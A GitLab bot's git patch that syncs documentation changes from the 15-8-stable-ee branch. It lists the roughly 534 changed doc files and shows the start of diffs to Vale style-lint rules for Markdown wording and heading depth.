From 05f0ebba3a2c8ddf39e436f412dc2ab5bf1353b2 Mon Sep 17 00:00:00 2001 From: GitLab Bot Date: Wed, 18 Jan 2023 19:00:14 +0000 Subject: Add latest changes from gitlab-org/gitlab@15-8-stable-ee --- doc/.vale/gitlab/GitLabFlavoredMarkdown.yml | 14 + doc/.vale/gitlab/HeadingDepth.yml | 4 +- doc/.vale/gitlab/SentenceLength.yml | 4 +- doc/.vale/gitlab/Spelling.yml | 2 +- doc/.vale/gitlab/SubstitutionWarning.yml | 6 +- doc/.vale/gitlab/TabsLinks.yml | 13 + doc/.vale/gitlab/Uppercase.yml | 9 +- doc/.vale/gitlab/spelling-exceptions.txt | 10 +- doc/administration/audit_event_streaming.md | 2 +- doc/administration/audit_events.md | 2 +- doc/administration/auditor_users.md | 1 + doc/administration/auth/ldap/google_secure_ldap.md | 24 +- doc/administration/auth/ldap/index.md | 747 ++++++++++++++++----- .../auth/ldap/ldap-troubleshooting.md | 6 +- .../auth/ldap/ldap_synchronization.md | 2 +- doc/administration/clusters/kas.md | 35 +- doc/administration/docs_self_host.md | 2 +- .../geo/disaster_recovery/bring_primary_back.md | 10 + doc/administration/geo/disaster_recovery/index.md | 21 +- doc/administration/geo/index.md | 23 +- .../geo/replication/configuration.md | 2 +- doc/administration/geo/replication/datatypes.md | 2 +- .../geo/replication/location_aware_git_url.md | 2 +- .../geo/replication/remove_geo_site.md | 5 +- .../geo/replication/single_sign_on.md | 122 ++++ .../geo/replication/troubleshooting.md | 46 +- .../geo/replication/version_specific_upgrades.md | 9 +- doc/administration/get_started.md | 4 +- doc/administration/gitaly/index.md | 6 +- doc/administration/gitaly/praefect.md | 7 +- doc/administration/gitaly/troubleshooting.md | 2 +- doc/administration/housekeeping.md | 75 +-- doc/administration/incoming_email.md | 30 + doc/administration/instance_limits.md | 2 +- doc/administration/job_artifacts.md | 417 ++++++++---- doc/administration/job_logs.md | 241 ++++--- doc/administration/lfs/index.md | 401 +++++++---- doc/administration/load_balancer.md | 4 +- doc/administration/logs/tracing_correlation_id.md | 2 +- doc/administration/merge_request_diffs.md | 2 +- .../performance/grafana_configuration.md | 8 +- .../monitoring/prometheus/gitlab_metrics.md | 8 + doc/administration/object_storage.md | 6 +- .../operations/fast_ssh_key_lookup.md | 3 +- .../operations/moving_repositories.md | 45 +- doc/administration/operations/puma.md | 78 +-- doc/administration/operations/rails_console.md | 6 + .../package_information/supported_os.md | 10 +- doc/administration/packages/container_registry.md | 11 +- doc/administration/pages/index.md | 8 +- doc/administration/pages/source.md | 2 +- .../postgresql/multiple_databases.md | 1 + doc/administration/raketasks/github_import.md | 7 +- .../redis/replication_and_failover.md | 8 + .../reference_architectures/10k_users.md | 4 +- doc/administration/snippets/index.md | 2 +- .../troubleshooting/gitlab_rails_cheat_sheet.md | 2 +- doc/api/appearance.md | 17 +- doc/api/container_registry.md | 4 +- doc/api/environments.md | 27 +- doc/api/feature_flags.md | 2 + doc/api/geo_nodes.md | 35 +- doc/api/graphql/audit_report.md | 2 +- doc/api/graphql/branch_rules.md | 137 ++++ doc/api/graphql/getting_started.md | 4 +- .../img/list_branch_rules_query_example_v15_8.png | Bin 0 -> 79524 bytes doc/api/graphql/index.md | 4 +- doc/api/graphql/reference/index.md | 442 +++++++++++- doc/api/graphql/users_example.md | 3 +- doc/api/group_badges.md | 2 +- doc/api/group_level_variables.md | 4 +- doc/api/group_repository_storage_moves.md | 2 + doc/api/groups.md | 27 +- doc/api/import.md | 46 +- doc/api/index.md | 1 - doc/api/integrations.md | 38 ++ doc/api/linked_epics.md | 12 +- doc/api/merge_request_approvals.md | 217 +++--- doc/api/merge_requests.md | 19 +- doc/api/metadata.md | 3 +- doc/api/notes.md | 8 +- doc/api/oauth2.md | 10 +- doc/api/packages/debian.md | 94 ++- doc/api/project_import_export.md | 3 +- doc/api/project_repository_storage_moves.md | 7 +- doc/api/project_snippets.md | 4 +- doc/api/projects.md | 33 +- doc/api/protected_branches.md | 2 +- doc/api/releases/index.md | 30 +- doc/api/remote_mirrors.md | 16 + doc/api/repositories.md | 2 +- doc/api/runners.md | 20 +- doc/api/scim.md | 2 +- doc/api/search.md | 2 + doc/api/secure_files.md | 7 +- doc/api/settings.md | 41 +- doc/api/snippet_repository_storage_moves.md | 6 +- doc/api/snippets.md | 4 +- doc/api/todos.md | 2 +- doc/api/topics.md | 2 +- doc/api/users.md | 82 ++- doc/api/v3_to_v4.md | 11 - doc/architecture/blueprints/ci_data_decay/index.md | 4 +- .../blueprints/ci_pipeline_components/index.md | 150 +++-- doc/architecture/blueprints/ci_scale/index.md | 2 +- .../blueprints/cloud_native_build_logs/index.md | 2 +- .../blueprints/cloud_native_gitlab_pages/index.md | 2 +- .../index.md | 4 +- .../blueprints/feature_flags_development/index.md | 6 +- .../gitlab_observability_backend/metrics/index.md | 8 +- .../metrics/supported-deployments.png | Bin 257144 -> 74153 bytes doc/architecture/blueprints/graphql_api/index.md | 2 +- .../blueprints/image_resizing/index.md | 2 +- doc/architecture/blueprints/pods/index.md | 14 +- .../blueprints/pods/pods-feature-backups.md | 61 ++ .../blueprints/pods/pods-feature-secrets.md | 48 ++ ...sal-stateless-router-with-buffering-requests.md | 4 +- ...oposal-stateless-router-with-routes-learning.md | 2 +- doc/architecture/blueprints/rate_limiting/index.md | 51 +- .../remote_development/img/remote_dev_15_7_1.png | Bin 98016 -> 47551 bytes .../blueprints/remote_development/index.md | 2 +- .../blueprints/runner_scaling/index.md | 4 +- doc/architecture/blueprints/runner_tokens/index.md | 70 +- .../blueprints/secret_detection/index.md | 167 +++++ doc/architecture/blueprints/work_items/index.md | 3 +- doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md | 2 +- doc/ci/cloud_deployment/index.md | 4 +- doc/ci/docker/using_docker_build.md | 6 +- doc/ci/docker/using_kaniko.md | 2 +- doc/ci/environments/deployment_approvals.md | 17 + doc/ci/environments/deployment_safety.md | 2 +- doc/ci/environments/index.md | 17 +- doc/ci/environments/protected_environments.md | 2 +- .../laravel_with_gitlab_and_envoy/index.md | 2 +- doc/ci/index.md | 2 +- doc/ci/introduction/index.md | 8 +- doc/ci/jobs/ci_job_token.md | 2 +- doc/ci/jobs/index.md | 12 +- doc/ci/jobs/job_control.md | 12 +- doc/ci/migration/circleci.md | 2 +- doc/ci/migration/jenkins.md | 4 +- doc/ci/pipelines/cicd_minutes.md | 15 +- doc/ci/pipelines/downstream_pipelines.md | 16 +- doc/ci/pipelines/index.md | 4 +- doc/ci/pipelines/job_artifacts.md | 2 +- doc/ci/pipelines/merge_request_pipelines.md | 10 +- doc/ci/pipelines/settings.md | 5 +- doc/ci/quick_start/index.md | 9 +- doc/ci/runners/configure_runners.md | 23 +- doc/ci/runners/saas/linux_saas_runner.md | 2 +- doc/ci/secrets/index.md | 4 +- doc/ci/secure_files/index.md | 16 +- doc/ci/services/index.md | 2 +- doc/ci/ssh_keys/index.md | 2 +- doc/ci/test_cases/index.md | 6 +- doc/ci/testing/code_quality.md | 736 ++++++++++---------- .../img/code_quality_host_bound_sequential.png | Bin 12345 -> 0 bytes doc/ci/triggers/index.md | 2 +- doc/ci/troubleshooting.md | 4 +- .../variables/img/ci_job_stage_output_example.png | Bin 55081 -> 0 bytes doc/ci/variables/img/custom_variables_output.png | Bin 32344 -> 0 bytes .../img/inherited_group_variables_v12_5.png | Bin 20448 -> 0 bytes doc/ci/variables/index.md | 538 +++++++-------- doc/ci/variables/predefined_variables.md | 24 +- doc/ci/variables/where_variables_can_be_used.md | 1 + doc/ci/yaml/artifacts_reports.md | 4 +- doc/ci/yaml/includes.md | 110 +-- doc/ci/yaml/index.md | 97 ++- doc/ci/yaml/script.md | 58 +- doc/ci/yaml/yaml_optimization.md | 51 +- doc/development/adding_service_component.md | 6 +- doc/development/api_graphql_styleguide.md | 2 +- doc/development/application_slis/index.md | 2 +- doc/development/approval_rules.md | 2 +- doc/development/architecture.md | 7 +- doc/development/audit_event_guide/index.md | 2 +- doc/development/auto_devops.md | 2 +- .../backend/create_source_code_be/index.md | 5 +- doc/development/cached_queries.md | 6 +- doc/development/chatops_on_gitlabcom.md | 4 +- .../cicd/cicd_reference_documentation_guide.md | 2 +- doc/development/cicd/index.md | 4 +- doc/development/cicd/schema.md | 6 +- doc/development/cicd/templates.md | 2 +- doc/development/code_intelligence/index.md | 2 +- doc/development/code_review.md | 10 +- doc/development/contributing/design.md | 13 +- doc/development/contributing/issue_workflow.md | 2 +- .../contributing/merge_request_workflow.md | 4 +- doc/development/dangerbot.md | 4 +- .../database/adding_database_indexes.md | 36 +- .../database/avoiding_downtime_in_migrations.md | 62 +- .../database/batched_background_migrations.md | 2 + .../database/constraint_naming_convention.md | 2 +- doc/development/database/database_dictionary.md | 115 +++- doc/development/database/database_lab.md | 39 ++ doc/development/database/index.md | 66 +- doc/development/database/pagination_guidelines.md | 2 +- doc/development/database/query_recorder.md | 8 +- doc/development/database/required_stops.md | 41 ++ .../database/setting_multiple_values.md | 2 +- doc/development/database/table_partitioning.md | 10 +- doc/development/database_review.md | 2 +- .../img/deprecation_removal_process.png | Bin 27632 -> 23344 bytes doc/development/deprecation_guidelines/index.md | 6 +- doc/development/diffs.md | 202 +----- doc/development/distributed_tracing.md | 2 +- doc/development/documentation/index.md | 2 +- doc/development/documentation/styleguide/index.md | 19 +- .../documentation/styleguide/word_list.md | 29 +- doc/development/documentation/testing.md | 22 +- .../documentation/topic_types/concept.md | 15 +- doc/development/documentation/topic_types/index.md | 2 +- doc/development/documentation/workflow.md | 2 +- doc/development/ee_features.md | 5 +- doc/development/elasticsearch.md | 85 ++- .../experiment_guide/implementing_experiments.md | 2 +- doc/development/fe_guide/content_editor.md | 6 +- .../fe_guide/customizable_dashboards.md | 4 +- .../fe_guide/merge_request_widget_extensions.md | 4 +- doc/development/fe_guide/source_editor.md | 2 +- doc/development/fe_guide/style/scss.md | 35 + doc/development/fe_guide/view_component.md | 4 +- doc/development/fe_guide/vuex.md | 4 +- doc/development/feature_categorization/index.md | 29 +- doc/development/feature_development.md | 2 +- doc/development/feature_flags/controls.md | 15 + doc/development/features_inside_dot_gitlab.md | 2 +- doc/development/fips_compliance.md | 2 +- doc/development/geo.md | 6 +- doc/development/gitlab_flavored_markdown/index.md | 4 +- .../specification_guide/index.md | 25 +- doc/development/gitlab_shell/features.md | 89 +++ doc/development/gitlab_shell/gitlab_sshd.md | 36 + doc/development/gitlab_shell/index.md | 222 ++++++ doc/development/gitlab_shell/process.md | 71 ++ doc/development/go_guide/go_upgrade.md | 2 +- doc/development/i18n/proofreader.md | 1 + doc/development/image_scaling.md | 2 +- doc/development/img/feature-flag-metrics.png | Bin 0 -> 88110 bytes .../img/merge_ref_head_options_v13_6.png | Bin 21605 -> 0 bytes doc/development/integrations/index.md | 2 +- doc/development/integrations/jenkins.md | 2 +- doc/development/integrations/jira_connect.md | 2 +- doc/development/integrations/secure.md | 4 +- doc/development/internal_api/index.md | 225 ++++++- doc/development/kubernetes.md | 2 +- doc/development/lfs.md | 2 +- doc/development/logging.md | 2 +- doc/development/maintenance_mode.md | 2 +- .../merge_request_concepts/diffs/development.md | 188 ++++++ .../merge_request_concepts/diffs/index.md | 199 ++++++ .../img/merge_ref_head_options_v13_6.png | Bin 0 -> 21605 bytes .../merge_request_concepts/performance.md | 565 ++++++++++++++++ doc/development/merge_request_diffs.md | 11 + .../merge_request_performance_guidelines.md | 568 +--------------- doc/development/migration_style_guide.md | 16 +- doc/development/pages/index.md | 2 +- doc/development/performance.md | 4 +- doc/development/permissions.md | 2 +- doc/development/pipelines/index.md | 90 +-- doc/development/pipelines/internals.md | 61 ++ doc/development/project_templates.md | 4 +- doc/development/prometheus_metrics.md | 2 +- doc/development/rake_tasks.md | 71 ++ doc/development/reusing_abstractions.md | 2 +- doc/development/sec/analyzer_development_guide.md | 2 +- doc/development/sec/index.md | 2 +- doc/development/secure_coding_guidelines.md | 2 +- doc/development/service_ping/implement.md | 4 +- doc/development/service_ping/index.md | 2 +- doc/development/service_ping/metrics_dictionary.md | 4 +- .../service_ping/metrics_instrumentation.md | 6 +- doc/development/sidekiq/index.md | 13 + doc/development/snowplow/implementation.md | 2 +- doc/development/snowplow/index.md | 5 +- doc/development/software_design.md | 2 +- .../exploratory_testing.md | 8 +- .../spam_protection_and_captcha/graphql_api.md | 4 +- .../spam_protection_and_captcha/index.md | 4 +- .../model_and_services.md | 4 +- .../spam_protection_and_captcha/rest_api.md | 4 +- .../spam_protection_and_captcha/web_ui.md | 4 +- doc/development/testing_guide/best_practices.md | 8 +- .../testing_guide/contract/consumer_tests.md | 44 +- doc/development/testing_guide/contract/index.md | 26 +- .../testing_guide/contract/provider_tests.md | 52 +- doc/development/testing_guide/end_to_end/index.md | 19 +- .../testing_guide/end_to_end/resources.md | 180 +---- doc/development/testing_guide/frontend_testing.md | 4 +- .../testing_guide/img/testing_triangle.png | Bin 32902 -> 13854 bytes .../testing_guide/testing_migrations_guide.md | 2 + doc/development/utilities.md | 2 +- doc/development/value_stream_analytics.md | 2 +- .../value_stream_analytics_aggregated_backend.md | 2 +- doc/development/wikis.md | 2 +- doc/development/workspace/index.md | 61 +- doc/gitlab-basics/start-using-git.md | 2 +- doc/install/installation.md | 26 +- doc/install/requirements.md | 16 +- doc/integration/gitlab.md | 4 +- doc/integration/glab/index.md | 24 + doc/integration/google.md | 2 +- doc/integration/jira/connect-app.md | 53 +- doc/integration/jira/development_panel.md | 4 +- doc/integration/jira/dvcs.md | 286 -------- doc/integration/jira/dvcs/index.md | 152 +++++ doc/integration/jira/dvcs/troubleshooting.md | 149 ++++ .../jira/img/jira_dev_panel_manual_refresh.png | Bin 23542 -> 0 bytes doc/integration/oauth_provider.md | 79 ++- doc/integration/openid_connect_provider.md | 27 +- doc/integration/recaptcha.md | 4 +- doc/integration/saml.md | 150 +++-- doc/integration/vault.md | 2 +- doc/operations/feature_flags.md | 7 +- doc/operations/incident_management/alerts.md | 9 - .../img/incident_list_v15_6.png | Bin 53028 -> 20804 bytes .../incident_management/linked_resources.md | 4 +- doc/operations/incident_management/slack.md | 4 +- doc/operations/metrics/alerts.md | 13 +- doc/operations/metrics/embed_grafana.md | 2 +- doc/operations/metrics/index.md | 2 +- doc/policy/alpha-beta-support.md | 47 +- doc/raketasks/backup_gitlab.md | 14 +- doc/raketasks/import.md | 20 +- doc/raketasks/restore_gitlab.md | 2 + doc/security/rate_limits.md | 12 +- doc/security/token_overview.md | 2 +- doc/subscriptions/bronze_starter.md | 6 +- doc/subscriptions/gitlab_com/index.md | 22 +- doc/subscriptions/index.md | 26 +- doc/subscriptions/self_managed/index.md | 92 ++- doc/topics/authentication/index.md | 2 +- doc/topics/autodevops/cicd_variables.md | 31 +- doc/topics/autodevops/customize.md | 399 +++++------ .../autodevops/multiple_clusters_auto_devops.md | 2 +- doc/topics/autodevops/stages.md | 4 +- doc/topics/autodevops/troubleshooting.md | 2 +- .../upgrading_auto_deploy_dependencies.md | 2 +- doc/topics/autodevops/upgrading_postgresql.md | 4 +- doc/topics/awesome_co.md | 6 +- doc/topics/git/troubleshooting_git.md | 10 + doc/topics/gitlab_flow.md | 65 +- doc/topics/plan_and_track.md | 1 + doc/topics/release_your_application.md | 90 +-- doc/topics/set_up_organization.md | 2 +- doc/tutorials/agile_sprint.md | 2 +- doc/tutorials/move_personal_project_to_a_group.md | 2 +- doc/update/background_migrations.md | 34 +- doc/update/deprecations.md | 738 ++++++++++++++++---- doc/update/index.md | 32 +- doc/update/with_downtime.md | 18 +- doc/update/zero_downtime.md | 10 +- doc/user/admin_area/custom_project_templates.md | 2 +- doc/user/admin_area/index.md | 75 ++- doc/user/admin_area/license_file.md | 6 +- doc/user/admin_area/moderate_users.md | 4 +- .../admin_area/reporting/git_abuse_rate_limit.md | 4 +- .../settings/account_and_limit_settings.md | 13 +- .../admin_area/settings/continuous_integration.md | 4 +- doc/user/admin_area/settings/help_page.md | 2 +- .../settings/instance_template_repository.md | 4 +- .../admin_area/settings/sign_in_restrictions.md | 5 +- doc/user/admin_area/settings/terms.md | 2 +- doc/user/admin_area/settings/third_party_offers.md | 2 +- doc/user/admin_area/settings/usage_statistics.md | 4 +- .../settings/visibility_and_access_controls.md | 28 +- doc/user/analytics/dora_metrics.md | 2 +- .../img/devops_metrics_comparison_v15_8.png | Bin 0 -> 82446 bytes doc/user/analytics/index.md | 8 + doc/user/analytics/value_streams_dashboard.md | 61 ++ doc/user/application_security/api_fuzzing/index.md | 6 +- .../container_scanning/index.md | 6 +- .../application_security/coverage_fuzzing/index.md | 9 +- .../application_security/dast/authentication.md | 4 +- .../application_security/dast/browser_based.md | 16 +- doc/user/application_security/dast_api/index.md | 8 +- .../dependency_scanning/analyzers.md | 13 - .../dependency_scanning/index.md | 64 +- .../application_security/iac_scanning/index.md | 4 +- doc/user/application_security/index.md | 6 +- .../offline_deployments/index.md | 4 +- .../policies/scan-result-policies.md | 18 +- doc/user/application_security/sast/analyzers.md | 2 +- .../sast/customize_rulesets.md | 2 +- doc/user/application_security/sast/index.md | 74 +- .../secret_detection/post_processing.md | 2 +- .../application_security/vulnerabilities/index.md | 2 + doc/user/clusters/agent/ci_cd_workflow.md | 2 +- doc/user/clusters/agent/troubleshooting.md | 10 + doc/user/clusters/agent/vulnerabilities.md | 6 +- doc/user/clusters/management_project_template.md | 4 +- doc/user/compliance/license_compliance/index.md | 8 +- doc/user/crm/index.md | 40 ++ doc/user/discussions/index.md | 21 +- doc/user/free_user_limit.md | 13 +- doc/user/group/access_and_permissions.md | 57 +- doc/user/group/clusters/index.md | 2 +- doc/user/group/compliance_frameworks.md | 8 +- doc/user/group/custom_project_templates.md | 6 +- doc/user/group/epics/linked_epics.md | 8 +- doc/user/group/epics/manage_epics.md | 26 +- doc/user/group/import/img/bulk_imports_v14_1.png | Bin 24726 -> 0 bytes doc/user/group/import/index.md | 64 +- doc/user/group/index.md | 4 +- doc/user/group/manage.md | 4 +- doc/user/group/reporting/git_abuse_rate_limit.md | 8 +- doc/user/group/saml_sso/group_sync.md | 39 +- doc/user/group/saml_sso/index.md | 8 +- doc/user/group/saml_sso/scim_setup.md | 4 +- doc/user/group/saml_sso/troubleshooting.md | 18 +- doc/user/group/saml_sso/troubleshooting_scim.md | 2 +- doc/user/group/subgroups/index.md | 25 +- doc/user/group/value_stream_analytics/index.md | 4 +- .../clusters/connect/new_eks_cluster.md | 47 ++ .../management_project_applications/runner.md | 2 +- .../infrastructure/iac/gitlab_terraform_helpers.md | 137 ++++ doc/user/infrastructure/iac/terraform_state.md | 4 +- .../iac/terraform_template_recipes.md | 48 ++ doc/user/infrastructure/iac/troubleshooting.md | 2 +- doc/user/instance/clusters/index.md | 2 +- doc/user/markdown.md | 44 +- doc/user/namespace/index.md | 9 +- doc/user/okrs.md | 254 +++++++ .../authenticate_with_container_registry.md | 60 ++ .../container_registry/build_and_push_images.md | 214 ++++++ .../delete_container_registry_images.md | 117 ++++ doc/user/packages/container_registry/index.md | 510 ++------------ .../reduce_container_registry_storage.md | 4 +- .../troubleshoot_container_registry.md | 2 +- doc/user/packages/dependency_proxy/index.md | 2 +- doc/user/packages/maven_repository/index.md | 2 +- doc/user/packages/package_registry/index.md | 2 - .../reduce_package_registry_storage.md | 2 + .../package_registry/supported_functionality.md | 146 ++++ .../package_registry/supported_hash_types.md | 28 +- doc/user/permissions.md | 47 +- .../profile/account/two_factor_authentication.md | 2 +- doc/user/profile/contributions_calendar.md | 2 +- doc/user/profile/index.md | 8 +- doc/user/profile/notifications.md | 65 +- doc/user/profile/personal_access_tokens.md | 3 +- doc/user/project/clusters/deploy_to_cluster.md | 4 +- .../clusters/multiple_kubernetes_clusters.md | 2 +- doc/user/project/code_owners.md | 2 +- doc/user/project/deploy_keys/index.md | 2 +- doc/user/project/import/bitbucket.md | 11 +- doc/user/project/import/bitbucket_server.md | 7 +- doc/user/project/import/fogbugz.md | 5 + doc/user/project/import/gitea.md | 11 +- doc/user/project/import/github.md | 28 +- doc/user/project/import/gitlab_com.md | 7 +- doc/user/project/import/index.md | 25 +- doc/user/project/import/manifest.md | 9 +- doc/user/project/import/phabricator.md | 6 +- doc/user/project/import/repo_by_url.md | 5 + doc/user/project/import/svn.md | 2 +- doc/user/project/index.md | 339 +++++----- doc/user/project/integrations/apple_app_store.md | 59 ++ doc/user/project/integrations/harbor.md | 2 +- doc/user/project/integrations/prometheus.md | 2 +- doc/user/project/integrations/slack.md | 1 + doc/user/project/integrations/webhook_events.md | 34 +- doc/user/project/issues/managing_issues.md | 16 +- doc/user/project/labels.md | 2 +- doc/user/project/members/index.md | 11 +- .../project/members/share_project_with_groups.md | 20 +- doc/user/project/merge_requests/approvals/rules.md | 10 +- .../authorization_for_merge_requests.md | 2 +- doc/user/project/merge_requests/changes.md | 1 + .../merge_requests/creating_merge_requests.md | 49 +- doc/user/project/merge_requests/dependencies.md | 5 + doc/user/project/merge_requests/getting_started.md | 6 +- .../filter_approved_by_merge_requests_v14_6.png | Bin 8326 -> 0 bytes .../img/filter_approver_merge_requests_v14_6.png | Bin 7841 -> 0 bytes doc/user/project/merge_requests/index.md | 56 +- doc/user/project/merge_requests/methods/index.md | 6 +- doc/user/project/merge_requests/status_checks.md | 13 +- doc/user/project/merge_requests/versions.md | 2 +- doc/user/project/organize_work_with_projects.md | 33 + .../custom_domains_ssl_tls_certification/index.md | 13 +- .../lets_encrypt_integration.md | 9 +- .../pages/getting_started/pages_ci_cd_template.md | 3 +- .../getting_started/pages_forked_sample_project.md | 4 +- .../pages/getting_started/pages_from_scratch.md | 5 +- .../getting_started/pages_new_project_template.md | 3 +- doc/user/project/pages/getting_started/pages_ui.md | 6 +- doc/user/project/pages/index.md | 7 + doc/user/project/protected_branches.md | 2 + doc/user/project/quick_actions.md | 2 +- doc/user/project/releases/index.md | 2 +- doc/user/project/remote_development/index.md | 23 +- doc/user/project/repository/branches/index.md | 26 +- doc/user/project/repository/git_history.md | 4 + .../repository/img/web_editor_line_link_v13_10.png | Bin 42942 -> 0 bytes .../img/web_editor_new_branch_dropdown_v14_1.png | Bin 12116 -> 0 bytes ...r_new_branch_from_issue_create_button_v14_1.png | Bin 18848 -> 0 bytes .../img/web_editor_new_branch_from_issue_v14_1.png | Bin 10160 -> 0 bytes .../img/web_editor_new_branch_page_v14_1.png | Bin 12442 -> 0 bytes .../img/web_editor_new_directory_dialog_v14_1.png | Bin 13757 -> 0 bytes .../web_editor_new_directory_dropdown_v14_1.png | Bin 11169 -> 0 bytes .../img/web_editor_new_file_dropdown_v14_1.png | Bin 10851 -> 0 bytes .../img/web_editor_new_file_editor_v14_1.png | Bin 60751 -> 0 bytes .../repository/img/web_editor_new_push_widget.png | Bin 3388 -> 0 bytes .../repository/img/web_editor_new_tag_dropdown.png | Bin 9706 -> 0 bytes .../repository/img/web_editor_new_tag_page.png | Bin 21835 -> 0 bytes .../img/web_editor_start_new_merge_request.png | Bin 4049 -> 0 bytes .../img/web_editor_template_dropdown_buttons.png | Bin 5629 -> 0 bytes ...b_editor_template_dropdown_first_file_v14_1.png | Bin 17652 -> 0 bytes ..._editor_template_dropdown_mit_license_v14_1.png | Bin 31321 -> 0 bytes .../img/web_editor_upload_file_dialog_v14_1.png | Bin 17522 -> 0 bytes .../img/web_editor_upload_file_dropdown_v14_1.png | Bin 11572 -> 0 bytes doc/user/project/repository/index.md | 4 +- doc/user/project/repository/mirror/index.md | 14 + .../repository/reducing_the_repo_size_using_git.md | 6 +- .../project/repository/ssh_signed_commits/index.md | 8 +- doc/user/project/repository/web_editor.md | 281 ++------ doc/user/project/service_desk.md | 21 +- doc/user/project/settings/import_export.md | 27 +- doc/user/project/settings/index.md | 4 +- doc/user/project/web_ide/index.md | 25 +- doc/user/project/web_ide_beta/index.md | 53 +- doc/user/project/working_with_projects.md | 194 +----- doc/user/public_access.md | 10 +- doc/user/read_only_namespaces.md | 1 - doc/user/reserved_names.md | 2 +- doc/user/search/img/search_navbar_v15_7.png | Bin 26983 -> 9493 bytes doc/user/search/img/search_scope_v15_7.png | Bin 287661 -> 71848 bytes doc/user/snippets.md | 2 +- doc/user/ssh.md | 3 +- doc/user/tasks.md | 10 +- doc/user/todos.md | 2 + doc/user/usage_quotas.md | 9 + doc/user/workspace/index.md | 14 +- 534 files changed, 11145 insertions(+), 6137 deletions(-) create mode 100644 doc/.vale/gitlab/GitLabFlavoredMarkdown.yml create mode 100644 doc/.vale/gitlab/TabsLinks.yml create mode 100644 doc/administration/geo/replication/single_sign_on.md create mode 100644 doc/api/graphql/branch_rules.md create mode 100644 doc/api/graphql/img/list_branch_rules_query_example_v15_8.png delete mode 100644 doc/api/v3_to_v4.md create mode 100644 doc/architecture/blueprints/pods/pods-feature-backups.md create mode 100644 doc/architecture/blueprints/pods/pods-feature-secrets.md create mode 100644 doc/architecture/blueprints/secret_detection/index.md delete mode 100644 doc/ci/testing/img/code_quality_host_bound_sequential.png delete mode 100644 doc/ci/variables/img/ci_job_stage_output_example.png delete mode 100644 doc/ci/variables/img/custom_variables_output.png delete mode 100644 doc/ci/variables/img/inherited_group_variables_v12_5.png create mode 100644 doc/development/database/required_stops.md create mode 100644 doc/development/gitlab_shell/features.md create mode 100644 doc/development/gitlab_shell/gitlab_sshd.md create mode 100644 doc/development/gitlab_shell/index.md create mode 100644 doc/development/gitlab_shell/process.md create mode 100644 doc/development/img/feature-flag-metrics.png delete mode 100644 doc/development/img/merge_ref_head_options_v13_6.png create mode 100644 doc/development/merge_request_concepts/diffs/development.md create mode 100644 doc/development/merge_request_concepts/diffs/index.md create mode 100644 doc/development/merge_request_concepts/img/merge_ref_head_options_v13_6.png create mode 100644 doc/development/merge_request_concepts/performance.md create mode 100644 doc/development/merge_request_diffs.md delete mode 100644 doc/integration/jira/dvcs.md create mode 100644 doc/integration/jira/dvcs/index.md create mode 100644 doc/integration/jira/dvcs/troubleshooting.md delete mode 100644 doc/integration/jira/img/jira_dev_panel_manual_refresh.png create mode 100644 doc/user/analytics/img/devops_metrics_comparison_v15_8.png create mode 100644 doc/user/analytics/value_streams_dashboard.md delete mode 100644 doc/user/group/import/img/bulk_imports_v14_1.png create mode 100644 doc/user/infrastructure/iac/gitlab_terraform_helpers.md create mode 100644 doc/user/okrs.md create mode 100644 doc/user/packages/container_registry/authenticate_with_container_registry.md create mode 100644 doc/user/packages/container_registry/build_and_push_images.md create mode 100644 doc/user/packages/container_registry/delete_container_registry_images.md create mode 100644 doc/user/packages/package_registry/supported_functionality.md create mode 100644 doc/user/project/integrations/apple_app_store.md delete mode 100644 doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png delete mode 100644 doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png create mode 100644 doc/user/project/organize_work_with_projects.md delete mode 100644 doc/user/project/repository/img/web_editor_line_link_v13_10.png delete mode 100644 doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_new_push_widget.png delete mode 100644 doc/user/project/repository/img/web_editor_new_tag_dropdown.png delete mode 100644 doc/user/project/repository/img/web_editor_new_tag_page.png delete mode 100644 doc/user/project/repository/img/web_editor_start_new_merge_request.png delete mode 100644 doc/user/project/repository/img/web_editor_template_dropdown_buttons.png delete mode 100644 doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png delete mode 100644 doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png (limited to 'doc') diff --git a/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml b/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml new file mode 100644 index 00000000000..532f1afd816 --- /dev/null +++ b/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml @@ -0,0 +1,14 @@ +--- +# Warning: gitlab.GitLabFlavoredMarkdown +# +# Checks for unclear use of GLFM or GLM instead of GitLab/GitHub Flavored Markdown +# +# For a list of all options, see https://vale.sh/docs/topics/styles/ +extends: substitution +message: "Use '%s' instead of '%s' when possible." +link: https://docs.gitlab.com/ee/development/documentation/styleguide/word_list.html +level: warning +ignorecase: true +swap: + GLFM: "GitLab Flavored Markdown" + GFM: "GitLab Flavored Markdown' or 'GitHub Flavored Markdown" diff --git a/doc/.vale/gitlab/HeadingDepth.yml b/doc/.vale/gitlab/HeadingDepth.yml index 7a3e5b4b552..5bbe667481c 100644 --- a/doc/.vale/gitlab/HeadingDepth.yml +++ b/doc/.vale/gitlab/HeadingDepth.yml @@ -1,5 +1,5 @@ --- -# Warning: gitlab.HeadingDepth +# Suggestion: gitlab.HeadingDepth # # Checks that there are no headings greater than 3 levels # @@ -7,7 +7,7 @@ extends: existence message: "Refactor the section or page to avoid headings greater than H5." link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#headings-in-markdown -level: warning +level: suggestion scope: raw raw: - '(?<=\n)#{5,}\s.*' diff --git a/doc/.vale/gitlab/SentenceLength.yml b/doc/.vale/gitlab/SentenceLength.yml index 69b0d27072e..48ebf02bc7f 100644 --- 